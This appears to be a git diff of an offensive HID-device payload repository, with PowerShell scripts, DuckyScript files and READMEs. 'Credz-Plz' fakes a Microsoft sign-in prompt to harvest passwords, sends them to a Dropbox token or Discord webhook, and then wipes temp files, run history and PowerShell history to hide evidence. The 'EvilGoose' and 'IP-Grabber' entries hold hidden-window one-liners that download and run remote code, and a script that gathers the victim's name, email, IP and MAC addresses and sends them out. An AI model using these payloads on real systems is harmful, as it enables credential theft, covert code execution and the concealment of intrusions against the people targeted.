# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' #
|
||||||
|
# Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' #
|
||||||
|
# Category : Credentials | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' #
|
||||||
|
# Target : Windows 7,10,11 | |___/ # /\/|_ __/\\ #
|
||||||
|
# Mode : HID | |\__/,| (`\ # / -\ /- ~\ #
|
||||||
|
# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / #
|
||||||
|
# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo #
|
||||||
|
# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ #
|
||||||
|
#__________________________________|_________________________________________________________________________# | | ) ~ ( #
|
||||||
|
# tiktok.com/@i_am_jakoby # / \ / ~ \ #
|
||||||
|
# github.com/I-Am-Jakoby # \ / \~ ~/ #
|
||||||
|
# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_#
|
||||||
|
# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |#
|
||||||
|
# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |#
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
.SYNOPSIS
|
||||||
|
This script is meant to trick your target into sharing their credentials through a fake authentication pop up message
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
A pop up box will let the target know "Unusual sign-in. Please authenticate your Microsoft Account"
|
||||||
|
This will be followed by a fake authentication ui prompt.
|
||||||
|
If the target tried to "X" out, hit "CANCEL" or while the password box is empty hit "OK" the prompt will continuously re pop up
|
||||||
|
Once the target enters their credentials their information will be uploaded to either your Dropbox or Discord webhook for collection
|
||||||
|
|
||||||
|
.Link
|
||||||
|
https://developers.dropbox.com/oauth-guide # Guide for setting up your DropBox for uploads
|
||||||
|
|
||||||
|
#>
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
# This is for if you want to host your own version of the script
|
||||||
|
|
||||||
|
# $db = "YOUR-DROPBOX-ACCESS-TOKEN"
|
||||||
|
|
||||||
|
# $dc = "YOUR-DISCORD-WEBHOOK"
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
$FileName = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_User-Creds.txt"
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This is to generate the ui.prompt you will use to harvest their credentials
|
||||||
|
#>
|
||||||
|
|
||||||
|
function Get-Creds {
|
||||||
|
|
||||||
|
$form = $null
|
||||||
|
|
||||||
|
while ($form -eq $null)
|
||||||
|
{
|
||||||
|
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName);
|
||||||
|
$cred.getnetworkcredential().password
|
||||||
|
|
||||||
|
if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password))
|
||||||
|
{
|
||||||
|
if(-not ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.ManifestModule -like "*PresentationCore*" -or $_.ManifestModule -like "*PresentationFramework*" }))
|
||||||
|
{
|
||||||
|
Add-Type -AssemblyName PresentationCore,PresentationFramework
|
||||||
|
}
|
||||||
|
|
||||||
|
$msgBody = "Credentials cannot be empty!"
|
||||||
|
$msgTitle = "Error"
|
||||||
|
$msgButton = 'Ok'
|
||||||
|
$msgImage = 'Stop'
|
||||||
|
$Result = [System.Windows.MessageBox]::Show($msgBody,$msgTitle,$msgButton,$msgImage)
|
||||||
|
Write-Host "The user clicked: $Result"
|
||||||
|
$form = $null
|
||||||
|
}
|
||||||
|
|
||||||
|
else{
|
||||||
|
$creds = $cred.GetNetworkCredential() | fl
|
||||||
|
return $creds
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This is to pause the script until a mouse movement is detected
|
||||||
|
#>
|
||||||
|
|
||||||
|
function Pause-Script{
|
||||||
|
Add-Type -AssemblyName System.Windows.Forms
|
||||||
|
$originalPOS = [System.Windows.Forms.Cursor]::Position.X
|
||||||
|
$o=New-Object -ComObject WScript.Shell
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
$pauseTime = 3
|
||||||
|
if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){
|
||||||
|
break
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
# This script repeadedly presses the capslock button, this snippet will make sure capslock is turned back off
|
||||||
|
|
||||||
|
function Caps-Off {
|
||||||
|
Add-Type -AssemblyName System.Windows.Forms
|
||||||
|
$caps = [System.Windows.Forms.Control]::IsKeyLocked('CapsLock')
|
||||||
|
|
||||||
|
#If true, toggle CapsLock key, to ensure that the script doesn't fail
|
||||||
|
if ($caps -eq $true){
|
||||||
|
|
||||||
|
$key = New-Object -ComObject WScript.Shell
|
||||||
|
$key.SendKeys('{CapsLock}')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This is to call the function to pause the script until a mouse movement is detected then activate the pop-up
|
||||||
|
#>
|
||||||
|
|
||||||
|
Pause-Script
|
||||||
|
|
||||||
|
Caps-Off
|
||||||
|
|
||||||
|
Add-Type -AssemblyName PresentationCore,PresentationFramework
|
||||||
|
$msgBody = "Please authenticate your Microsoft Account."
|
||||||
|
$msgTitle = "Authentication Required"
|
||||||
|
$msgButton = 'Ok'
|
||||||
|
$msgImage = 'Warning'
|
||||||
|
$Result = [System.Windows.MessageBox]::Show($msgBody,$msgTitle,$msgButton,$msgImage)
|
||||||
|
Write-Host "The user clicked: $Result"
|
||||||
|
|
||||||
|
$creds = Get-Creds
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This is to save the gathered credentials to a file in the temp directory
|
||||||
|
#>
|
||||||
|
|
||||||
|
echo $creds >> $env:TMP\$FileName
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This is to upload your files to dropbox
|
||||||
|
#>
|
||||||
|
|
||||||
|
function DropBox-Upload {
|
||||||
|
|
||||||
|
[CmdletBinding()]
|
||||||
|
param (
|
||||||
|
|
||||||
|
[Parameter (Mandatory = $True, ValueFromPipeline = $True)]
|
||||||
|
[Alias("f")]
|
||||||
|
[string]$SourceFilePath
|
||||||
|
)
|
||||||
|
$outputFile = Split-Path $SourceFilePath -leaf
|
||||||
|
$TargetFilePath="/$outputFile"
|
||||||
|
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
|
||||||
|
$authorization = "Bearer " + $db
|
||||||
|
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
|
||||||
|
$headers.Add("Authorization", $authorization)
|
||||||
|
$headers.Add("Dropbox-API-Arg", $arg)
|
||||||
|
$headers.Add("Content-Type", 'application/octet-stream')
|
||||||
|
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($db))){DropBox-Upload -f $env:TMP\$FileName}
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function Upload-Discord {
|
||||||
|
|
||||||
|
[CmdletBinding()]
|
||||||
|
param (
|
||||||
|
[parameter(Position=0,Mandatory=$False)]
|
||||||
|
[string]$file,
|
||||||
|
[parameter(Position=1,Mandatory=$False)]
|
||||||
|
[string]$text
|
||||||
|
)
|
||||||
|
|
||||||
|
$hookurl = "$dc"
|
||||||
|
|
||||||
|
$Body = @{
|
||||||
|
'username' = $env:username
|
||||||
|
'content' = $text
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($text))){
|
||||||
|
Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)};
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($dc))){Upload-Discord -file $env:TMP\$FileName}
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This is to clean up behind you and remove any evidence to prove you were there
|
||||||
|
#>
|
||||||
|
|
||||||
|
# Delete contents of Temp folder
|
||||||
|
|
||||||
|
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
# Delete run box history
|
||||||
|
|
||||||
|
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
||||||
|
|
||||||
|
# Delete powershell history
|
||||||
|
|
||||||
|
Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||||
|
|
||||||
|
# Deletes contents of recycle bin
|
||||||
|
|
||||||
|
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
exit
|
||||||
|
|
||||||
121
Payloads/Credz-Plz/README.md
Normal file
121
Payloads/Credz-Plz/README.md
Normal file
|
|
@ -0,0 +1,121 @@
|
||||||
|
|
||||||
|
|
||||||
|
<!-- TABLE OF CONTENTS -->
|
||||||
|
<details>
|
||||||
|
<summary>Table of Contents</summary>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#Description">Description</a></li>
|
||||||
|
<li><a href="#getting-started">Getting Started</a></li>
|
||||||
|
<li><a href="#Contributing">Contributing</a></li>
|
||||||
|
<li><a href="#Version-History">Version History</a></li>
|
||||||
|
<li><a href="#Contact">Contact</a></li>
|
||||||
|
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||||
|
</ol>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
# Credz-Plz
|
||||||
|
|
||||||
|
A script used to prompt the target to enter their creds to later be exfiltrated with either Dropbox or a Discord webhook.
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
A pop up box will let the target know "Unusual sign-in. Please authenticate your Microsoft Account".
|
||||||
|
This will be followed by a fake authentication ui prompt.
|
||||||
|
If the target tried to "X" out, hit "CANCEL" or while the password box is empty hit "OK" the prompt will continuously re pop up.
|
||||||
|
Once the target enters their credentials their information will be uploaded to your Dropbox or Discord webhook for collection.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
* DropBox or other file sharing service - Your Shared link for the intended file
|
||||||
|
* Windows 10,11
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
### Executing program
|
||||||
|
|
||||||
|
* Plug in your device
|
||||||
|
* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory
|
||||||
|
* You no longer need to host your own version of this script
|
||||||
|
* `$db` is the variable that holds your DropBox token
|
||||||
|
* `$dc` is the variable that holds your Discord webhook
|
||||||
|
* Fill in either variable or both to set your exfil method
|
||||||
|
|
||||||
|
```
|
||||||
|
powershell -w h -ep bypass $dc='';$db='';irm https://jakoby.lol/35k | iex
|
||||||
|
```
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
All contributors names will be listed here
|
||||||
|
|
||||||
|
I am Jakoby
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Version History
|
||||||
|
|
||||||
|
* 0.1
|
||||||
|
* Initial Release
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- CONTACT -->
|
||||||
|
## Contact
|
||||||
|
|
||||||
|
<h2 align="center">📱 My Socials 📱</h2>
|
||||||
|
<div align=center>
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||||
|
</a>
|
||||||
|
<br>YouTube
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://twitter.com/I_Am_Jakoby">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||||
|
</a>
|
||||||
|
<br>Twitter
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||||
|
</a>
|
||||||
|
<br>Instagram
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://discord.gg/MYYER2ZcJF">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>Discord
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.tiktok.com/@i_am_jakoby?lang=en">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/img/tiktok.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>TikTok
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- ACKNOWLEDGMENTS -->
|
||||||
|
## Acknowledgments
|
||||||
|
|
||||||
|
* [Hak5](https://hak5.org/)
|
||||||
|
* [MG](https://github.com/OMG-MG)
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
BIN
Payloads/Credz-Plz/authentication.jpg
Normal file
BIN
Payloads/Credz-Plz/authentication.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 140 KiB |
BIN
Payloads/Credz-Plz/sign-in.jpg
Normal file
BIN
Payloads/Credz-Plz/sign-in.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 184 KiB |
12
Payloads/EvilGoose/EvilGoose.txt
Normal file
12
Payloads/EvilGoose/EvilGoose.txt
Normal file
|
|
@ -0,0 +1,12 @@
|
||||||
|
REM Title: Hacker Goose
|
||||||
|
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
|
||||||
|
REM Description: A payload that hires a goose to hack your target in real time
|
||||||
|
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell -w h -NoP -NonI -Ep Bypass $D="$env:tmp";iwr -Uri 'https://jakoby.lol/1ae' -O "$D\hg.zip";Expand-Archive "$D\hg.zip" -Des $D -Force;. "$D\hg\main.ps1"
|
||||||
|
ENTER
|
||||||
121
Payloads/EvilGoose/ReadMe.md
Normal file
121
Payloads/EvilGoose/ReadMe.md
Normal file
|
|
@ -0,0 +1,121 @@
|
||||||
|
|
||||||
|
|
||||||
|
<!-- TABLE OF CONTENTS -->
|
||||||
|
<details>
|
||||||
|
<summary>Table of Contents</summary>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#Description">Description</a></li>
|
||||||
|
<li><a href="#getting-started">Getting Started</a></li>
|
||||||
|
<li><a href="#Contributing">Contributing</a></li>
|
||||||
|
<li><a href="#Version-History">Version History</a></li>
|
||||||
|
<li><a href="#Contact">Contact</a></li>
|
||||||
|
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||||
|
</ol>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
# Evil Goose
|
||||||
|
|
||||||
|
A payload that hires a goose to hack your target in real time
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
With this payload after is is executed it will wait for a mouse movement to begin
|
||||||
|
|
||||||
|
Afterwards it will walk around your targets screen pulling out personal information about them such as:
|
||||||
|
|
||||||
|
* Full name associated with their microsoft account
|
||||||
|
* Email associated with their microsoft account
|
||||||
|
* Their exact Geo Location
|
||||||
|
* The wifi networks and passwords
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
* Windows 10,11
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
### Executing program
|
||||||
|
|
||||||
|
* Plug in your device
|
||||||
|
* 10 seconds later your goose is owning their system
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
powershell -w h -NoP -NonI -Ep Bypass $D="$env:tmp";iwr -Uri 'https://jakoby.lol/1ae' -O "$D\hg.zip";Expand-Archive "$D\hg.zip" -Des $D -Force;. "$D\hg\main.ps1"
|
||||||
|
```
|
||||||
|
### Exiting the Payload
|
||||||
|
|
||||||
|
This payload will automatically end after 2 min
|
||||||
|
|
||||||
|
Or if you press `Left Control` + `Right Control` at the same time
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
All contributors names will be listed here
|
||||||
|
|
||||||
|
I am Jakoby
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Version History
|
||||||
|
|
||||||
|
* 0.1
|
||||||
|
* Initial Release
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- CONTACT -->
|
||||||
|
## Contact
|
||||||
|
|
||||||
|
<h2 align="center">📱 My Socials 📱</h2>
|
||||||
|
<div align=center>
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||||
|
</a>
|
||||||
|
<br>YouTube
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://twitter.com/I_Am_Jakoby">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||||
|
</a>
|
||||||
|
<br>Twitter
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||||
|
</a>
|
||||||
|
<br>Instagram
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://discord.gg/MYYER2ZcJF">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>Discord
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.tiktok.com/@i_am_jakoby?lang=en">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/img/tiktok.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>TikTok
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- ACKNOWLEDGMENTS -->
|
||||||
|
## Acknowledgments
|
||||||
|
|
||||||
|
* [Hak5](https://hak5.org/)
|
||||||
|
* [MG](https://github.com/OMG-MG)
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
1
Payloads/EvilGoose/placeholder
Normal file
1
Payloads/EvilGoose/placeholder
Normal file
|
|
@ -0,0 +1 @@
|
||||||
|
|
||||||
132
Payloads/IP-Grabber/IP-Grabber.ps1
Normal file
132
Payloads/IP-Grabber/IP-Grabber.ps1
Normal file
|
|
@ -0,0 +1,132 @@
|
||||||
|
$FileName = "$env:tmp/$env:USERNAME-LOOT-$(get-date -f yyyy-MM-dd_hh-mm).txt"
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function Get-fullName {
|
||||||
|
|
||||||
|
try {
|
||||||
|
$fullName = (Get-LocalUser -Name $env:USERNAME).FullName
|
||||||
|
}
|
||||||
|
|
||||||
|
# If no name is detected function will return $env:UserName
|
||||||
|
|
||||||
|
# Write Error is just for troubleshooting
|
||||||
|
catch {Write-Error "No name was detected"
|
||||||
|
return $env:UserName
|
||||||
|
-ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
|
||||||
|
return $fullName
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
$fullName = Get-fullName
|
||||||
|
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function Get-email {
|
||||||
|
|
||||||
|
try {
|
||||||
|
|
||||||
|
$email = (Get-CimInstance CIM_ComputerSystem).PrimaryOwnerName
|
||||||
|
return $email
|
||||||
|
}
|
||||||
|
|
||||||
|
# If no email is detected function will return backup message for sapi speak
|
||||||
|
|
||||||
|
# Write Error is just for troubleshooting
|
||||||
|
catch {Write-Error "An email was not found"
|
||||||
|
return "No Email Detected"
|
||||||
|
-ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$email = Get-email
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
try{$computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content}
|
||||||
|
catch{$computerPubIP="Error getting Public IP"}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
$localIP = Get-NetIPAddress -InterfaceAlias "*Ethernet*","*Wi-Fi*" -AddressFamily IPv4 | Select InterfaceAlias, IPAddress, PrefixOrigin | Out-String
|
||||||
|
|
||||||
|
$MAC = Get-NetAdapter -Name "*Ethernet*","*Wi-Fi*"| Select Name, MacAddress, Status | Out-String
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
$output = @"
|
||||||
|
|
||||||
|
Full Name: $fullName
|
||||||
|
|
||||||
|
Email: $email
|
||||||
|
|
||||||
|
------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
Public IP:
|
||||||
|
$computerPubIP
|
||||||
|
|
||||||
|
Local IPs:
|
||||||
|
$localIP
|
||||||
|
|
||||||
|
MAC:
|
||||||
|
$MAC
|
||||||
|
|
||||||
|
"@
|
||||||
|
|
||||||
|
$output > $FileName
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function Upload-Discord {
|
||||||
|
|
||||||
|
[CmdletBinding()]
|
||||||
|
param (
|
||||||
|
[parameter(Position=0,Mandatory=$False)]
|
||||||
|
[string]$file,
|
||||||
|
[parameter(Position=1,Mandatory=$False)]
|
||||||
|
[string]$text
|
||||||
|
)
|
||||||
|
|
||||||
|
$hookurl = "$dc"
|
||||||
|
|
||||||
|
$Body = @{
|
||||||
|
'username' = $env:username
|
||||||
|
'content' = $text
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($text))){
|
||||||
|
Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)};
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($dc))){Upload-Discord -file "$FileName"}
|
||||||
|
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function DropBox-Upload {
|
||||||
|
|
||||||
|
[CmdletBinding()]
|
||||||
|
param (
|
||||||
|
|
||||||
|
[Parameter (Mandatory = $True, ValueFromPipeline = $True)]
|
||||||
|
[Alias("f")]
|
||||||
|
[string]$SourceFilePath
|
||||||
|
)
|
||||||
|
$outputFile = Split-Path $SourceFilePath -leaf
|
||||||
|
$TargetFilePath="/$outputFile"
|
||||||
|
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
|
||||||
|
$authorization = "Bearer " + $db
|
||||||
|
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
|
||||||
|
$headers.Add("Authorization", $authorization)
|
||||||
|
$headers.Add("Dropbox-API-Arg", $arg)
|
||||||
|
$headers.Add("Content-Type", 'application/octet-stream')
|
||||||
|
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($db))){DropBox-Upload -f $FileName}
|
||||||
12
Payloads/IP-Grabber/IP-Grabber.txt
Normal file
12
Payloads/IP-Grabber/IP-Grabber.txt
Normal file
|
|
@ -0,0 +1,12 @@
|
||||||
|
REM Title: IP-Grabber
|
||||||
|
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
|
||||||
|
REM Description: This payload is meant to do grab your targets IP addresses and exfil them
|
||||||
|
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell -w h -NoP -Ep Bypass $dc='';$db='';irm jakoby.lol/f0x | iex
|
||||||
|
ENTER
|
||||||
111
Payloads/IP-Grabber/ReadMe.md
Normal file
111
Payloads/IP-Grabber/ReadMe.md
Normal file
|
|
@ -0,0 +1,111 @@
|
||||||
|
|
||||||
|
|
||||||
|
<!-- TABLE OF CONTENTS -->
|
||||||
|
<details>
|
||||||
|
<summary>Table of Contents</summary>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#Description">Description</a></li>
|
||||||
|
<li><a href="#getting-started">Getting Started</a></li>
|
||||||
|
<li><a href="#Contributing">Contributing</a></li>
|
||||||
|
<li><a href="#Version-History">Version History</a></li>
|
||||||
|
<li><a href="#Contact">Contact</a></li>
|
||||||
|
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||||
|
</ol>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
# IP-Grabber
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This payload is meant to do grab your targets IP addresses and exfil them with discord or dropbox
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
* Windows 10,11
|
||||||
|
|
||||||
|
### Executing program
|
||||||
|
|
||||||
|
* Plug in your device
|
||||||
|
* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory
|
||||||
|
|
||||||
|
`$dc` is the variable that stores your Discord webhook
|
||||||
|
|
||||||
|
`$db` is the variable that stores your Dropbox token
|
||||||
|
|
||||||
|
Fill in either or both of these to methods to exfil your collected data
|
||||||
|
|
||||||
|
```
|
||||||
|
powershell -w h -NoP -Ep Bypass $dc='';$db='';irm jakoby.lol/f0x | iex
|
||||||
|
```
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
All contributors names will be listed here
|
||||||
|
|
||||||
|
I am Jakoby
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Version History
|
||||||
|
|
||||||
|
* 0.1
|
||||||
|
* Initial Release
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- CONTACT -->
|
||||||
|
## Contact
|
||||||
|
|
||||||
|
<h2 align="center">📱 My Socials 📱</h2>
|
||||||
|
<div align=center>
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||||
|
